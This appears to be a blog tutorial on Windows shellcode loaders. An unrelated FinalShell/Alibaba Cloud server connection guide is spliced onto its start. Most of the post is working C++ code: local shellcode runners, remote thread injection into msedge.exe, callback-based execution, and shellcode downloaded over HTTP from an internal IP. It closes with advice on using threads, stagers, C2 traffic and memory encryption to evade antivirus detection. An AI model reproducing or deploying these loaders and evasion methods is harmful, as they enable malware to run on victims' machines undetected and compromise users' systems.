Windows Shellcode Execution Techniques and Memory Management

Connecting to Alibaba Cloud Server Using FinalShell

  1. Install FinalShell: Download and install the FinalShell application.
  2. Login to Alibaba Cloud: Enter your Alibaba Cloud account credentials within the FinalShell settings.
  3. Select Cloud Server: Navigate to the server section and select your Alibaba Cloud instance.
  4. Configure Connection: Input the server's public IP, port, username, and password.
  5. Test Connection: Click the test button and confirm a successful connection with a green indicator.
  6. Manage Server: Once connected, manage server resources like files, directories, and processes via the FinalShell UI.

Code Execution Training

Example 1: Local Thread Execution

#include <stdio.h>
#include <Windows.h>
#include <fstream>
#include <iostream>

int main() {
    const char* filePath = "D:\\C++\\Template\\box.dll";
    std::ifstream file(filePath, std::ios::binary);
    file.seekg(0, std::ios::end);
    size_t fileSize = file.tellg();
    file.seekg(0, std::ios::beg);

    char* buffer = new char[fileSize];
    if (file.is_open()) {
        file.read(buffer, fileSize);
    }

    LPVOID memory = VirtualAlloc(nullptr, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(memory, buffer, fileSize);

    HANDLE thread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)memory, nullptr, 0, nullptr);
    WaitForSingleObject(thread, INFINITE);

    delete[] buffer;
    return 0;
}

Example 2: Remote Thread Injection

#include <Windows.h>
#include <TlHelp32.h>
#include <fstream>
#include <iostream>

void InjectToEdgeProcess() {
    const char* filePath = "D:\\C++\\Template\\box.dll";
    std::ifstream file(filePath, std::ios::binary);
    file.seekg(0, std::ios::end);
    size_t fileSize = file.tellg();
    file.seekg(0, std::ios::beg);

    char* buffer = new char[fileSize];
    if (file.is_open()) {
        file.read(buffer, fileSize);
    }

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(snapshot, &entry)) {
        do {
            std::wstring processName(entry.szExeFile);
            if (processName.find(L"msedge.exe") != std::string::npos) {
                HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
                if (process) {
                    LPVOID remoteMem = VirtualAllocEx(process, nullptr, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                    if (remoteMem) {
                        SIZE_T written;
                        WriteProcessMemory(process, remoteMem, buffer, fileSize, &written);
                        CreateRemoteThread(process, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteMem, nullptr, 0, nullptr);
                        CloseHandle(remoteMem);
                    }
                    CloseHandle(process);
                }
            }
        } while (Process32Next(snapshot, &entry));
    }
    CloseHandle(snapshot);
    delete[] buffer;
}

int main() {
    InjectToEdgeProcess();
    return 0;
}

Shellcode Execution Methods and Memory Segregation

3.1 Shellcode Execution Principle

Executing shellcode requires memory with execute permissions. Standard executable memory segments include:

  • .text (Code Segment): Read + Execute
  • .data (Data Segment): Read + Write
  • Allocated Memory: Must be marked as executable

3.2 Memory Requirements to Shellcode

1. Mark Data Segment as Executable
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "your_shellcode";

2. Allocate Executable Memory
LPVOID execMem = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, sizeof(shellcode));

3. Function Pointer Execution
((void(*)())shellcode)();

4. Direct Pointer Execution
#include <Windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "your_shellcode";

int main() {
    ((void(*)())shellcode)();
}

5. Memory Pointer Execution
#include <Windows.h>
int main() {
    unsigned char shellcode[] = "your_shellcode";
    void* exec = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
}

6. Thread Execution
CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)shellcode, nullptr, 0, nullptr);

7. Memory Thread Execution
#include <Windows.h>
int main() {
    unsigned char shellcode[] = "your_shellcode";
    void* mem = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));
    HANDLE thread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)mem, nullptr, 0, nullptr);
    WaitForSingleObject(thread, INFINITE);
    return 0;
}

3.3 Callback Function Implementation

#include <Windows.h>
int main() {
    unsigned char shellcode[] = "your_shellcode";
    LPVOID shellMem = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(shellMem, shellcode, sizeof(shellcode));
    EnumChildWindows(nullptr, (WNDENUMPROC)shellMem, nullptr);
    return 0;
}

3.4 Shellcode Separation and Loading

1. File-Based Loading
std::ifstream file("your_shellcode.bin", std::ios::binary);
file.seekg(0, std::ios::end);
size_t size = file.tellg();
file.seekg(0, std::ios::beg);
char* buffer = new char[size];
file.read(buffer, size);

2. HTTP-Based Loading
HINTERNET internet = InternetOpen(nullptr, INTERNET_OPEN_TYPE_DIRECT, nullptr, nullptr, 0);
HINTERNET connect = InternetConnect(internet, L"192.168.1.100", 80, nullptr, nullptr, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET request = HttpOpenRequest(connect, L"GET", L"/shellcode.bin", nullptr, nullptr, nullptr, 0, 0);
HttpSendRequest(request, nullptr, 0, nullptr, 0);

3. Commend-Line Argument Injection
int main(int argc, char* argv[]) {
    if (argc == 3) {
        InjectProcess(atoi(argv[1]), argv[2]);
    }
    return 0;
}

3.5 Flexible Use of Loading Techniques

  • Remote Thread → Memory Thread Injection
  • APC Injection → Memory Thread Injection
  • Process Hollowing → Memory Thread Injection

Thread vs Pointer Execution in Anti-Virus Evasion

Thread-based execution tends to be more effective for evasion because:

  • Threads mimic normal execution patterns
  • Less memory footprint compared to direct pointer execution
  • Stager payloads use minimal code to fetch larger payloads
  • Stageless payloads are fully self-contained but larger in size

4.1 Technical Differences

  • Stager: Small initial payload that downloads larger payload
  • Stageless: Fully functional payload that connects directly

Memory encryption, intermittent C2 commmunication, and dynamic API resolution help evade heuristic detection.

Tags: Windows API shellcode memory allocation Thread Injection remote execution

Posted on Tue, 11 Aug 2026 16:57:22 +0000 by ubersmuck